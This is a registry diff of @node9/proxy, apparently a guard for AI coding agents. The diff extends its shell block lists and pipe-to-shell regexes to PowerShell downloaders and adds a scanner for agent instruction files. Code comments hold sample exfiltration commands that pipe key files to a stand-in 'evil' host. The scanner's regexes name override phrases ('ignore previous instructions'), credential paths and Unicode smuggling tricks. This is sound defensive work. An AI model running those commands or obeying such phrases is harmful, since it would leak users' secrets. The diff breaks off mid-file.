@node9/proxy 2.20.0 → 2.22.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +314 -200
- package/dist/cli.mjs +315 -201
- package/dist/dashboard.mjs +41 -5
- package/dist/index.js +53 -5
- package/dist/index.mjs +53 -5
- package/dist/scan-ink.mjs +16 -2
- package/package.json +1 -1
package/dist/cli.mjs
CHANGED
|
@@ -4470,8 +4470,26 @@ var init_dist = __esm({
|
|
|
4470
4470
|
"--subject",
|
|
4471
4471
|
"--summary"
|
|
4472
4472
|
]);
|
|
4473
|
-
SHELL_INTERPRETERS = /* @__PURE__ */ new Set([
|
|
4474
|
-
|
|
4473
|
+
SHELL_INTERPRETERS = /* @__PURE__ */ new Set([
|
|
4474
|
+
"bash",
|
|
4475
|
+
"sh",
|
|
4476
|
+
"zsh",
|
|
4477
|
+
"fish",
|
|
4478
|
+
"dash",
|
|
4479
|
+
"ksh",
|
|
4480
|
+
"iex",
|
|
4481
|
+
"invoke-expression",
|
|
4482
|
+
"powershell",
|
|
4483
|
+
"pwsh"
|
|
4484
|
+
]);
|
|
4485
|
+
DOWNLOAD_CMDS = /* @__PURE__ */ new Set([
|
|
4486
|
+
"curl",
|
|
4487
|
+
"wget",
|
|
4488
|
+
"iwr",
|
|
4489
|
+
"invoke-webrequest",
|
|
4490
|
+
"irm",
|
|
4491
|
+
"invoke-restmethod"
|
|
4492
|
+
]);
|
|
4475
4493
|
NORMALIZE_CACHE_MAX = 5e3;
|
|
4476
4494
|
normalizeCache = /* @__PURE__ */ new Map();
|
|
4477
4495
|
AST_CACHE_MAX = 5e3;
|
|
@@ -4518,7 +4536,21 @@ var init_dist = __esm({
|
|
|
4518
4536
|
"uniq",
|
|
4519
4537
|
"tac",
|
|
4520
4538
|
"nl",
|
|
4521
|
-
"dd"
|
|
4539
|
+
"dd",
|
|
4540
|
+
// — PowerShell, absent until 2026-09-22 —
|
|
4541
|
+
// Same membership test, "does it emit file contents": Get-Content/gc print
|
|
4542
|
+
// the file (cat), Select-String/sls print matching lines (grep), Format-Hex
|
|
4543
|
+
// dumps bytes (xxd), Import-Csv/Import-Clixml parse and print (jq). Every
|
|
4544
|
+
// one of these read a credential file with no verdict while its POSIX twin
|
|
4545
|
+
// blocked. Lowercase on purpose: PowerShell is case-insensitive and the
|
|
4546
|
+
// prescreen folds case, so `Get-Content` and `GET-CONTENT` both land here.
|
|
4547
|
+
"get-content",
|
|
4548
|
+
"gc",
|
|
4549
|
+
"select-string",
|
|
4550
|
+
"sls",
|
|
4551
|
+
"format-hex",
|
|
4552
|
+
"import-csv",
|
|
4553
|
+
"import-clixml"
|
|
4522
4554
|
]);
|
|
4523
4555
|
GREP_SHAPE = {
|
|
4524
4556
|
takesValue: /* @__PURE__ */ new Set([
|
|
@@ -5114,6 +5146,12 @@ var init_dist = __esm({
|
|
|
5114
5146
|
FIND_EXEC_FLAGS = /* @__PURE__ */ new Set(["-exec", "-execdir", "-ok", "-okdir"]);
|
|
5115
5147
|
INTERP_LEADING_TARGET = /* @__PURE__ */ new Set(["su"]);
|
|
5116
5148
|
NET_BINARIES = /* @__PURE__ */ new Set([
|
|
5149
|
+
// PowerShell downloaders (2026-09-22). `Invoke-WebRequest -InFile creds`
|
|
5150
|
+
// is the same exfil as `curl -d @creds` and was invisible to isNetworkTool.
|
|
5151
|
+
"iwr",
|
|
5152
|
+
"invoke-webrequest",
|
|
5153
|
+
"irm",
|
|
5154
|
+
"invoke-restmethod",
|
|
5117
5155
|
"curl",
|
|
5118
5156
|
"wget",
|
|
5119
5157
|
"scp",
|
|
@@ -5285,6 +5323,12 @@ var init_dist = __esm({
|
|
|
5285
5323
|
PRIVATE_HOST_SUFFIXES = [".local", ".internal", ".localhost"];
|
|
5286
5324
|
SOURCE_COMMANDS = /* @__PURE__ */ new Set([...FS_READ_TOOLS, "tee"]);
|
|
5287
5325
|
SINK_COMMANDS = /* @__PURE__ */ new Set([
|
|
5326
|
+
// PowerShell (2026-09-22): `Get-Content key | iwr https://evil -Method POST`
|
|
5327
|
+
// is `cat key | curl`, and scored nothing.
|
|
5328
|
+
"iwr",
|
|
5329
|
+
"invoke-webrequest",
|
|
5330
|
+
"irm",
|
|
5331
|
+
"invoke-restmethod",
|
|
5288
5332
|
"curl",
|
|
5289
5333
|
"wget",
|
|
5290
5334
|
"nc",
|
|
@@ -5492,7 +5536,7 @@ var init_dist = __esm({
|
|
|
5492
5536
|
{
|
|
5493
5537
|
field: "command",
|
|
5494
5538
|
op: "matches",
|
|
5495
|
-
value: "(^|&&|\\|\\||;)\\s*(curl|wget)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
|
|
5539
|
+
value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish|dash|ksh|iex|invoke-expression|powershell|pwsh)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
|
|
5496
5540
|
flags: "i"
|
|
5497
5541
|
}
|
|
5498
5542
|
],
|
|
@@ -6277,7 +6321,7 @@ var init_dist = __esm({
|
|
|
6277
6321
|
{ view: "separators-stripped", decoder: "separators", stripped: true }
|
|
6278
6322
|
];
|
|
6279
6323
|
LONG_OUTPUT_THRESHOLD_BYTES = 100 * 1024;
|
|
6280
|
-
CANONICAL_EXTRACTOR_VERSION = "canonical-
|
|
6324
|
+
CANONICAL_EXTRACTOR_VERSION = "canonical-v17";
|
|
6281
6325
|
DEDUPE_PREVIEW_LEN = 120;
|
|
6282
6326
|
ENGINE_VERSION = "1.4.0";
|
|
6283
6327
|
}
|
|
@@ -7747,7 +7791,11 @@ var init_config = __esm({
|
|
|
7747
7791
|
op: "matches",
|
|
7748
7792
|
// Anchor curl/wget as a shell command so node -e scripts testing this
|
|
7749
7793
|
// regex pattern don't self-match as a false positive.
|
|
7750
|
-
|
|
7794
|
+
// Downloader and sink groups mirror the engine's DOWNLOAD_CMDS and
|
|
7795
|
+
// SHELL_INTERPRETERS; pipe-to-shell-vocabulary-drift.spec.ts fails if
|
|
7796
|
+
// either list gains a name this regex does not. The PowerShell sinks
|
|
7797
|
+
// carry \b so `iex` cannot match inside e.g. `iexplore`.
|
|
7798
|
+
value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)[^|]*\\|\\s*(?:(ba|z|da|fi|c|k)?sh|(?:iex|invoke-expression|powershell|pwsh)\\b)",
|
|
7751
7799
|
flags: "i"
|
|
7752
7800
|
}
|
|
7753
7801
|
],
|
|
@@ -11410,7 +11458,7 @@ function printInlineAskNotice() {
|
|
|
11410
11458
|
)
|
|
11411
11459
|
);
|
|
11412
11460
|
}
|
|
11413
|
-
function fullPathCommand(subcommand, platform = process.platform) {
|
|
11461
|
+
function fullPathCommand(subcommand, platform = process.platform, home = os16.homedir()) {
|
|
11414
11462
|
if (process.env.NODE9_TESTING === "1") return `node9 ${subcommand}`;
|
|
11415
11463
|
const nodeExec = toForwardSlashes(process.execPath);
|
|
11416
11464
|
const cliScript = toForwardSlashes(process.argv[1]);
|
|
@@ -11419,7 +11467,31 @@ function fullPathCommand(subcommand, platform = process.platform) {
|
|
|
11419
11467
|
return isWindows ? `node9 ${subcommand}` : `"${cliScript}" ${subcommand}`;
|
|
11420
11468
|
}
|
|
11421
11469
|
if (isWindows) return `node "${cliScript}" ${subcommand}`;
|
|
11422
|
-
|
|
11470
|
+
ensureHookShim(home, nodeExec, cliScript);
|
|
11471
|
+
return `"${toForwardSlashes(hookShimPath(home))}" ${subcommand}`;
|
|
11472
|
+
}
|
|
11473
|
+
function hookShimPath(home = os16.homedir()) {
|
|
11474
|
+
return path20.join(home, ".node9", "bin", "hook");
|
|
11475
|
+
}
|
|
11476
|
+
function hookShimBody(nodeExec, cliScript) {
|
|
11477
|
+
return `#!/bin/sh
|
|
11478
|
+
# node9 hook shim \u2014 written by \`node9 init\` / \`node9 agents add\`. Do not edit.
|
|
11479
|
+
# Agents call this fixed path; node9 rewrites the line below on upgrade so
|
|
11480
|
+
# the hook command they trusted never changes (Codex keys trust to it).
|
|
11481
|
+
exec "${nodeExec}" "${cliScript}" "$@"
|
|
11482
|
+
`;
|
|
11483
|
+
}
|
|
11484
|
+
function ensureHookShim(home, nodeExec, cliScript) {
|
|
11485
|
+
const shim = hookShimPath(home);
|
|
11486
|
+
const body = hookShimBody(nodeExec, cliScript);
|
|
11487
|
+
try {
|
|
11488
|
+
if (fs19.readFileSync(shim, "utf-8") === body) return false;
|
|
11489
|
+
} catch {
|
|
11490
|
+
}
|
|
11491
|
+
fs19.mkdirSync(path20.dirname(shim), { recursive: true });
|
|
11492
|
+
fs19.writeFileSync(shim, body, { mode: 493 });
|
|
11493
|
+
fs19.chmodSync(shim, 493);
|
|
11494
|
+
return true;
|
|
11423
11495
|
}
|
|
11424
11496
|
function toForwardSlashes(p) {
|
|
11425
11497
|
return p.replace(/\\/g, "/");
|
|
@@ -11450,8 +11522,12 @@ function isWindowsQuoteBrokenHook(command, platform = process.platform) {
|
|
|
11450
11522
|
if (platform !== "win32") return false;
|
|
11451
11523
|
return command.trimStart().startsWith('"');
|
|
11452
11524
|
}
|
|
11525
|
+
function isChurnProneHookForm(command, platform = process.platform) {
|
|
11526
|
+
if (!command || platform === "win32") return false;
|
|
11527
|
+
return /^"[^"]+" "[^"]*cli\.js" (?:check|log|hud)\b/.test(command.trim());
|
|
11528
|
+
}
|
|
11453
11529
|
function needsRewrite(command, platform = process.platform) {
|
|
11454
|
-
return isStaleHookCommand(command) || isLegacyHookFormat(command) || isWindowsQuoteBrokenHook(command, platform);
|
|
11530
|
+
return isStaleHookCommand(command) || isLegacyHookFormat(command) || isWindowsQuoteBrokenHook(command, platform) || isChurnProneHookForm(command, platform);
|
|
11455
11531
|
}
|
|
11456
11532
|
function readJson(filePath) {
|
|
11457
11533
|
try {
|
|
@@ -11487,7 +11563,11 @@ function repairLegacyMcpWraps(servers) {
|
|
|
11487
11563
|
}
|
|
11488
11564
|
function isNode9Hook(cmd) {
|
|
11489
11565
|
if (!cmd) return false;
|
|
11490
|
-
return /(?:^|[\s/\\"])node9"? (?:check|log)/.test(cmd) || /(?:^|[\s/\\])cli\.js"? (?:check|log)/.test(cmd)
|
|
11566
|
+
return /(?:^|[\s/\\"])node9"? (?:check|log)/.test(cmd) || /(?:^|[\s/\\])cli\.js"? (?:check|log)/.test(cmd) || // The shim form: "<home>/.node9/bin/hook" check. Without this alternative a
|
|
11567
|
+
// freshly wired install reads back as "not wired" and setup appends
|
|
11568
|
+
// duplicate hooks on every re-run — the same trap the quoted-binary form
|
|
11569
|
+
// fell into after #185.
|
|
11570
|
+
/[/\\]\.node9[/\\]bin[/\\]hook"? (?:check|log)/.test(cmd);
|
|
11491
11571
|
}
|
|
11492
11572
|
function teardownClaude() {
|
|
11493
11573
|
const homeDir2 = os16.homedir();
|
|
@@ -59114,8 +59194,214 @@ function registerPostureCommand(program2) {
|
|
|
59114
59194
|
import chalk33 from "chalk";
|
|
59115
59195
|
|
|
59116
59196
|
// src/ci-check/fetch.ts
|
|
59117
|
-
var import_undici = __toESM(require_undici());
|
|
59118
59197
|
import fs70 from "fs";
|
|
59198
|
+
|
|
59199
|
+
// src/ci-check/instructions.ts
|
|
59200
|
+
var TAG_CHARS = /[\u{E0000}-\u{E007F}]/u;
|
|
59201
|
+
var BIDI_OVERRIDE = /[]/;
|
|
59202
|
+
var BIDI_EMBED_ISOLATE = /[--]/;
|
|
59203
|
+
function isZwLegitScript(cp) {
|
|
59204
|
+
if (cp === void 0) return false;
|
|
59205
|
+
return cp >= 3584 && cp <= 3711 || cp >= 3712 && cp <= 3839 || cp >= 4096 && cp <= 4255 || cp >= 6016 && cp <= 6143 || cp >= 12352 && cp <= 12543 || cp >= 13312 && cp <= 40959 || cp >= 44032 && cp <= 55215;
|
|
59206
|
+
}
|
|
59207
|
+
var isAsciiWordChar = (ch) => !!ch && /[A-Za-z0-9]/.test(ch);
|
|
59208
|
+
function suspiciousZeroWidth(text) {
|
|
59209
|
+
let n = 0;
|
|
59210
|
+
for (let i = 0; i < text.length; i++) {
|
|
59211
|
+
const c = text.charCodeAt(i);
|
|
59212
|
+
if (c !== 8203 && c !== 8288) continue;
|
|
59213
|
+
if (isZwLegitScript(text.codePointAt(i - 1)) || isZwLegitScript(text.codePointAt(i + 1)))
|
|
59214
|
+
continue;
|
|
59215
|
+
const prev = text[i - 1];
|
|
59216
|
+
const next = text[i + 1];
|
|
59217
|
+
if (!prev || !next || /\s/.test(prev) || /\s/.test(next)) continue;
|
|
59218
|
+
if (isAsciiWordChar(prev) && isAsciiWordChar(next)) n++;
|
|
59219
|
+
}
|
|
59220
|
+
return n;
|
|
59221
|
+
}
|
|
59222
|
+
var stripZeroWidth = (t) => t.replace(/[]/g, "");
|
|
59223
|
+
var INSTRUCTION_FILE_RE = /(^|\/)(CLAUDE|AGENTS|GEMINI)\.md$|(^|\/)\.cursorrules$|(^|\/)\.(windsurf|cline)rules$|(^|\/)copilot-instructions\.md$|(^|\/)SKILL\.md$|(^|\/)\.claude\/agents\/[^/]+\.md$|(^|\/)\.claude\/commands\/.+\.md$/;
|
|
59224
|
+
function skillDirsOf(paths) {
|
|
59225
|
+
const dirs = /* @__PURE__ */ new Set();
|
|
59226
|
+
for (const p of paths) {
|
|
59227
|
+
const m = /^(.+)\/SKILL\.md$/.exec(p);
|
|
59228
|
+
if (m) dirs.add(m[1]);
|
|
59229
|
+
}
|
|
59230
|
+
return dirs;
|
|
59231
|
+
}
|
|
59232
|
+
function isSkillSupportFile(path79, skillDirs) {
|
|
59233
|
+
if (!path79.endsWith(".md") || /(^|\/)SKILL\.md$/.test(path79)) return false;
|
|
59234
|
+
for (let d = path79.lastIndexOf("/"); d > 0; d = path79.lastIndexOf("/", d - 1)) {
|
|
59235
|
+
if (skillDirs.has(path79.slice(0, d))) return true;
|
|
59236
|
+
}
|
|
59237
|
+
return false;
|
|
59238
|
+
}
|
|
59239
|
+
function isInstructionFile(path79, skillDirs) {
|
|
59240
|
+
return INSTRUCTION_FILE_RE.test(path79) || isSkillSupportFile(path79, skillDirs);
|
|
59241
|
+
}
|
|
59242
|
+
var OVERRIDE_RE = /ignore\s+(all\s+)?(previous|prior|the\s+above)\s+(instructions|prompts?|rules)|disregard\s+(the\s+|your\s+)?(system\s+)?(prompt|instructions|rules)|forget\s+(everything|all\s+(previous|prior))|you\s+are\s+now\s+(a|an|the)\b|<\/?system>/i;
|
|
59243
|
+
var FETCH_OBEY_RE = /\b(curl|wget|iwr|invoke-webrequest)\b[^\n|]*\|\s*(bash|sh|zsh|python3?(?!\s+-m\s+json\.tool\b)|node|iex)\b|\b(curl|wget)\b[^\n]*&&[^\n]*\b(bash|sh)\b/i;
|
|
59244
|
+
var SECRET_PATH_RE = /~\/\.aws\/credentials|~\/\.ssh\/id_[a-z]+|~\/\.config\/gh\/hosts|read\s+the\s+(token|secret|api[_ ]?key|password)\s+(in|from)\s+[.`'"]?\.?env/i;
|
|
59245
|
+
var EXFIL_RE = /\b(post|send|upload|exfiltrate|forward)\b(?!\s+(the\s+|your\s+)?(users?|them|him|her|people|visitors?|customers?|readers?)\b)[^\n]{0,40}\b(to|at)\b[^\n]{0,50}(https?:\/\/|webhook|hook\.[a-z])/i;
|
|
59246
|
+
var HUMAN_SECTION_RE = /^#+\s.*\b((?:re-?|un)?install(ation|ers?|ing|s)?|setup|set ?up|getting started|quick ?start|contributing|contribution|development|dev setup|build|prerequisites|requirements|usage)\b/i;
|
|
59247
|
+
var NEGATION_RE = /\b(never|do not|don'?t|avoid|must not|should not|no need to|refuse to)\b/i;
|
|
59248
|
+
function isNegated(text, idx) {
|
|
59249
|
+
return NEGATION_RE.test(text.slice(Math.max(0, idx - 40), idx));
|
|
59250
|
+
}
|
|
59251
|
+
var EXAMPLE_FRAMING_RE = /\b(like|such as|e\.g\.|for example|examples?|including|shaped like|inert|block ?list|blocked|blocks?|patterns?|treat|labels?|strings?|phrases?|reject|flags?|detects?|matches)\b/i;
|
|
59252
|
+
function isQuotedExample(text, idx, len) {
|
|
59253
|
+
const open = text[idx - 1];
|
|
59254
|
+
const close = text[idx + len];
|
|
59255
|
+
const quoted = (open === '"' || open === "'" || open === "`") && close === open;
|
|
59256
|
+
return quoted && EXAMPLE_FRAMING_RE.test(text.slice(Math.max(0, idx - 120), idx));
|
|
59257
|
+
}
|
|
59258
|
+
function inHumanSection(text, idx) {
|
|
59259
|
+
const heading = text.slice(0, idx).split("\n").reverse().find((l) => /^#+\s/.test(l));
|
|
59260
|
+
return !!heading && HUMAN_SECTION_RE.test(heading);
|
|
59261
|
+
}
|
|
59262
|
+
function decodeSuspiciousBase64(text) {
|
|
59263
|
+
let out = "";
|
|
59264
|
+
for (const m of text.matchAll(/[A-Za-z0-9+/]{40,}={0,2}/g)) {
|
|
59265
|
+
try {
|
|
59266
|
+
const d = Buffer.from(m[0], "base64").toString("utf8");
|
|
59267
|
+
if (/[\x20-\x7E]{16,}/.test(d) && /[a-z]{4,}/i.test(d)) out += " " + d;
|
|
59268
|
+
} catch {
|
|
59269
|
+
}
|
|
59270
|
+
}
|
|
59271
|
+
return out;
|
|
59272
|
+
}
|
|
59273
|
+
function mk(rule, severity, title, signals, fix, path79) {
|
|
59274
|
+
return {
|
|
59275
|
+
check: "CI-6",
|
|
59276
|
+
rule,
|
|
59277
|
+
dimension: "instructions",
|
|
59278
|
+
severity,
|
|
59279
|
+
title,
|
|
59280
|
+
file: path79,
|
|
59281
|
+
signals,
|
|
59282
|
+
fix
|
|
59283
|
+
};
|
|
59284
|
+
}
|
|
59285
|
+
function analyzeInstructionFile(path79, content) {
|
|
59286
|
+
const findings = [];
|
|
59287
|
+
const decoded = decodeSuspiciousBase64(content);
|
|
59288
|
+
if (TAG_CHARS.test(content))
|
|
59289
|
+
findings.push(
|
|
59290
|
+
mk(
|
|
59291
|
+
"CI-6.unicode-tag-chars",
|
|
59292
|
+
"critical",
|
|
59293
|
+
"Unicode tag characters in an agent instruction file",
|
|
59294
|
+
[
|
|
59295
|
+
"contains Unicode tag characters (U+E0000\u2013E007F) \u2014 an invisible instruction-smuggling channel with no legitimate use in text"
|
|
59296
|
+
],
|
|
59297
|
+
"Remove the tag characters. Instruction files must be plain, reviewable text.",
|
|
59298
|
+
path79
|
|
59299
|
+
)
|
|
59300
|
+
);
|
|
59301
|
+
if (BIDI_OVERRIDE.test(content))
|
|
59302
|
+
findings.push(
|
|
59303
|
+
mk(
|
|
59304
|
+
"CI-6.bidi-override",
|
|
59305
|
+
"critical",
|
|
59306
|
+
"Bidirectional override characters in an agent instruction file",
|
|
59307
|
+
[
|
|
59308
|
+
"contains a bidi override (U+202D/U+202E) \u2014 a Trojan-Source technique that visually reorders text so a human reads something different from what the agent parses"
|
|
59309
|
+
],
|
|
59310
|
+
"Remove the bidi override characters.",
|
|
59311
|
+
path79
|
|
59312
|
+
)
|
|
59313
|
+
);
|
|
59314
|
+
else if (BIDI_EMBED_ISOLATE.test(content))
|
|
59315
|
+
findings.push(
|
|
59316
|
+
mk(
|
|
59317
|
+
"CI-6.bidi-formatting",
|
|
59318
|
+
"advisory",
|
|
59319
|
+
"Bidirectional formatting characters in an agent instruction file",
|
|
59320
|
+
[
|
|
59321
|
+
"contains bidi embed/isolate characters (U+202A\u2013202C / U+2066\u20132069) \u2014 legitimate in right-to-left text, but confirm they are not being used to hide or reorder instructions"
|
|
59322
|
+
],
|
|
59323
|
+
"Confirm the bidi marks are legitimate RTL formatting; remove otherwise.",
|
|
59324
|
+
path79
|
|
59325
|
+
)
|
|
59326
|
+
);
|
|
59327
|
+
const zw = suspiciousZeroWidth(content);
|
|
59328
|
+
if (zw > 0) {
|
|
59329
|
+
const revealed = OVERRIDE_RE.test(stripZeroWidth(content)) && !OVERRIDE_RE.test(content);
|
|
59330
|
+
findings.push(
|
|
59331
|
+
mk(
|
|
59332
|
+
"CI-6.zero-width",
|
|
59333
|
+
revealed ? "critical" : "medium",
|
|
59334
|
+
"Zero-width characters splitting text in an agent instruction file",
|
|
59335
|
+
[
|
|
59336
|
+
revealed ? "a zero-width character conceals a prompt-override directive that only appears once the hidden characters are stripped" : "a zero-width character splits a visible Latin word \u2014 a concealment technique (hides text from human review while the agent reads it as contiguous)"
|
|
59337
|
+
],
|
|
59338
|
+
"Remove the zero-width characters. Instruction files must be plain, reviewable text.",
|
|
59339
|
+
path79
|
|
59340
|
+
)
|
|
59341
|
+
);
|
|
59342
|
+
}
|
|
59343
|
+
const ovRaw = OVERRIDE_RE.exec(content);
|
|
59344
|
+
const ov = ovRaw && !isQuotedExample(content, ovRaw.index, ovRaw[0].length) ? ovRaw : null;
|
|
59345
|
+
const ovEnc = !ov ? OVERRIDE_RE.exec(decoded) : null;
|
|
59346
|
+
if (ov || ovEnc) {
|
|
59347
|
+
const m = ov || ovEnc;
|
|
59348
|
+
findings.push(
|
|
59349
|
+
mk(
|
|
59350
|
+
"CI-6.prompt-override",
|
|
59351
|
+
ovEnc ? "critical" : "high",
|
|
59352
|
+
"Prompt-override directive in an agent instruction file",
|
|
59353
|
+
[
|
|
59354
|
+
`contains a prompt-override / role-impersonation directive (\`${m[0].slice(0, 60).trim()}\`)${ovEnc ? " \u2014 concealed in a base64 blob" : ""}`
|
|
59355
|
+
],
|
|
59356
|
+
"Remove the override text. An instruction file should not tell the agent to ignore its own rules.",
|
|
59357
|
+
path79
|
|
59358
|
+
)
|
|
59359
|
+
);
|
|
59360
|
+
}
|
|
59361
|
+
const fo = FETCH_OBEY_RE.exec(content);
|
|
59362
|
+
if (fo && !inHumanSection(content, fo.index) && !isNegated(content, fo.index) && !isQuotedExample(content, fo.index, fo[0].length)) {
|
|
59363
|
+
findings.push(
|
|
59364
|
+
mk(
|
|
59365
|
+
"CI-6.fetch-and-obey",
|
|
59366
|
+
"medium",
|
|
59367
|
+
"Instruction directs the agent to fetch and run remote code",
|
|
59368
|
+
[`\`${fo[0].slice(0, 70).trim()}\` \u2014 fetch-and-obey, outside an install/setup section`],
|
|
59369
|
+
"Do not instruct the agent to pipe remote content into a shell; pin and vendor scripts instead.",
|
|
59370
|
+
path79
|
|
59371
|
+
)
|
|
59372
|
+
);
|
|
59373
|
+
}
|
|
59374
|
+
const sp = SECRET_PATH_RE.exec(content);
|
|
59375
|
+
if (sp && !isNegated(content, sp.index)) {
|
|
59376
|
+
findings.push(
|
|
59377
|
+
mk(
|
|
59378
|
+
"CI-6.secret-path",
|
|
59379
|
+
"medium",
|
|
59380
|
+
"Instruction points the agent at credential material",
|
|
59381
|
+
[`references \`${sp[0].slice(0, 50).trim()}\` \u2014 directs the agent toward secrets`],
|
|
59382
|
+
"Do not reference credential files or paths in agent instructions.",
|
|
59383
|
+
path79
|
|
59384
|
+
)
|
|
59385
|
+
);
|
|
59386
|
+
}
|
|
59387
|
+
const ex = EXFIL_RE.exec(content);
|
|
59388
|
+
if (ex && !inHumanSection(content, ex.index) && !isNegated(content, ex.index)) {
|
|
59389
|
+
findings.push(
|
|
59390
|
+
mk(
|
|
59391
|
+
"CI-6.exfil-directive",
|
|
59392
|
+
"medium",
|
|
59393
|
+
"Instruction directs the agent to send data to an external endpoint",
|
|
59394
|
+
[`\`${ex[0].slice(0, 70).trim()}\` \u2014 possible exfiltration directive`],
|
|
59395
|
+
"Remove external post/upload directives from agent instructions.",
|
|
59396
|
+
path79
|
|
59397
|
+
)
|
|
59398
|
+
);
|
|
59399
|
+
}
|
|
59400
|
+
return findings;
|
|
59401
|
+
}
|
|
59402
|
+
|
|
59403
|
+
// src/ci-check/fetch.ts
|
|
59404
|
+
var import_undici = __toESM(require_undici());
|
|
59119
59405
|
import path65 from "path";
|
|
59120
59406
|
import { execFileSync as execFileSync2 } from "child_process";
|
|
59121
59407
|
var cachedGhToken;
|
|
@@ -59151,13 +59437,18 @@ var SURFACE_FILES = [
|
|
|
59151
59437
|
".clinerules"
|
|
59152
59438
|
];
|
|
59153
59439
|
var WORKFLOW_DIR = ".github/workflows";
|
|
59154
|
-
var
|
|
59440
|
+
var CONFIG_FILE_RE = /(^|\/)\.claude\/settings(\.local)?\.json$|(^|\/)\.mcp\.json$|(^|\/)\.cursor\/mcp\.json$|(^|\/)\.codex\/config\.toml$/;
|
|
59441
|
+
function selectSurface(paths) {
|
|
59442
|
+
const skillDirs = skillDirsOf(paths);
|
|
59443
|
+
const isSupport = (p) => isSkillSupportFile(p, skillDirs);
|
|
59444
|
+
return paths.filter((p) => isInstructionFile(p, skillDirs) || CONFIG_FILE_RE.test(p)).sort((a, b) => Number(isSupport(a)) - Number(isSupport(b)));
|
|
59445
|
+
}
|
|
59155
59446
|
var IGNORE_HARD = /(^|\/)(node_modules|vendor|\.git|\.next|\.venv|site-packages)\//;
|
|
59156
59447
|
var IGNORE_SOFT = /(^|\/)(dist|build|out|target)\//;
|
|
59157
59448
|
var isIgnoredDir = (relSlash) => IGNORE_HARD.test(relSlash) || IGNORE_SOFT.test(relSlash);
|
|
59158
59449
|
var MAX_SURFACE_FILES = 200;
|
|
59159
59450
|
function pickSurfacePaths(paths, truncated, notes) {
|
|
59160
|
-
const surface = paths.filter((p) =>
|
|
59451
|
+
const surface = selectSurface(paths.filter((p) => !IGNORE_HARD.test(p)));
|
|
59161
59452
|
const matched = surface.filter((p) => !IGNORE_SOFT.test(p));
|
|
59162
59453
|
const softSkipped = surface.filter((p) => IGNORE_SOFT.test(p));
|
|
59163
59454
|
const capped = matched.slice(0, MAX_SURFACE_FILES);
|
|
@@ -59329,11 +59620,11 @@ function readLocalTree(dir) {
|
|
|
59329
59620
|
add(rel);
|
|
59330
59621
|
};
|
|
59331
59622
|
for (const p of SURFACE_FILES) collect(p);
|
|
59332
|
-
const
|
|
59623
|
+
const all = [];
|
|
59333
59624
|
const MAX_DIRS = 5e3;
|
|
59334
59625
|
let dirsVisited = 0;
|
|
59335
59626
|
const walk = (relDir) => {
|
|
59336
|
-
if (
|
|
59627
|
+
if (dirsVisited >= MAX_DIRS) return;
|
|
59337
59628
|
dirsVisited++;
|
|
59338
59629
|
let entries;
|
|
59339
59630
|
try {
|
|
@@ -59342,22 +59633,23 @@ function readLocalTree(dir) {
|
|
|
59342
59633
|
return;
|
|
59343
59634
|
}
|
|
59344
59635
|
for (const e of entries) {
|
|
59345
|
-
if (
|
|
59636
|
+
if (dirsVisited >= MAX_DIRS) return;
|
|
59346
59637
|
const rel = relDir ? `${relDir}/${e.name}` : e.name;
|
|
59347
59638
|
if (e.isDirectory()) {
|
|
59348
59639
|
if (isIgnoredDir(`${rel}/`)) continue;
|
|
59349
59640
|
walk(rel);
|
|
59350
|
-
} else if (e.isFile()
|
|
59351
|
-
|
|
59641
|
+
} else if (e.isFile()) {
|
|
59642
|
+
all.push(rel);
|
|
59352
59643
|
}
|
|
59353
59644
|
}
|
|
59354
59645
|
};
|
|
59355
59646
|
walk("");
|
|
59356
|
-
|
|
59647
|
+
const matches = selectSurface(all);
|
|
59648
|
+
if (matches.length > MAX_SURFACE_FILES || dirsVisited >= MAX_DIRS)
|
|
59357
59649
|
notes.push(
|
|
59358
59650
|
`repo is large \u2014 some agent-surface files may be INCOMPLETE (capped at ${MAX_SURFACE_FILES} files / ${MAX_DIRS} dirs).`
|
|
59359
59651
|
);
|
|
59360
|
-
for (const rel of matches) collect(rel);
|
|
59652
|
+
for (const rel of matches.slice(0, MAX_SURFACE_FILES)) collect(rel);
|
|
59361
59653
|
const wfDir = path65.join(root, WORKFLOW_DIR);
|
|
59362
59654
|
try {
|
|
59363
59655
|
if (fs70.existsSync(wfDir)) {
|
|
@@ -59400,7 +59692,7 @@ function readGitRefTree(dir, ref) {
|
|
|
59400
59692
|
if (content !== null) files.push({ path: rel, content });
|
|
59401
59693
|
};
|
|
59402
59694
|
for (const rel of SURFACE_FILES) add(rel);
|
|
59403
|
-
const nested = all.filter((rel) =>
|
|
59695
|
+
const nested = selectSurface(all.filter((rel) => !isIgnoredDir(rel)));
|
|
59404
59696
|
if (nested.length > MAX_SURFACE_FILES) {
|
|
59405
59697
|
notes.push(
|
|
59406
59698
|
`repo is large \u2014 some agent-surface files may be INCOMPLETE (capped at ${MAX_SURFACE_FILES} files).`
|
|
@@ -60109,183 +60401,6 @@ function analyzeCodexConfig(path79, content) {
|
|
|
60109
60401
|
return findings;
|
|
60110
60402
|
}
|
|
60111
60403
|
|
|
60112
|
-
// src/ci-check/instructions.ts
|
|
60113
|
-
var TAG_CHARS = /[\u{E0000}-\u{E007F}]/u;
|
|
60114
|
-
var BIDI_OVERRIDE = /[]/;
|
|
60115
|
-
var BIDI_EMBED_ISOLATE = /[--]/;
|
|
60116
|
-
function isZwLegitScript(cp) {
|
|
60117
|
-
if (cp === void 0) return false;
|
|
60118
|
-
return cp >= 3584 && cp <= 3711 || cp >= 3712 && cp <= 3839 || cp >= 4096 && cp <= 4255 || cp >= 6016 && cp <= 6143 || cp >= 12352 && cp <= 12543 || cp >= 13312 && cp <= 40959 || cp >= 44032 && cp <= 55215;
|
|
60119
|
-
}
|
|
60120
|
-
var isAsciiWordChar = (ch) => !!ch && /[A-Za-z0-9]/.test(ch);
|
|
60121
|
-
function suspiciousZeroWidth(text) {
|
|
60122
|
-
let n = 0;
|
|
60123
|
-
for (let i = 0; i < text.length; i++) {
|
|
60124
|
-
const c = text.charCodeAt(i);
|
|
60125
|
-
if (c !== 8203 && c !== 8288) continue;
|
|
60126
|
-
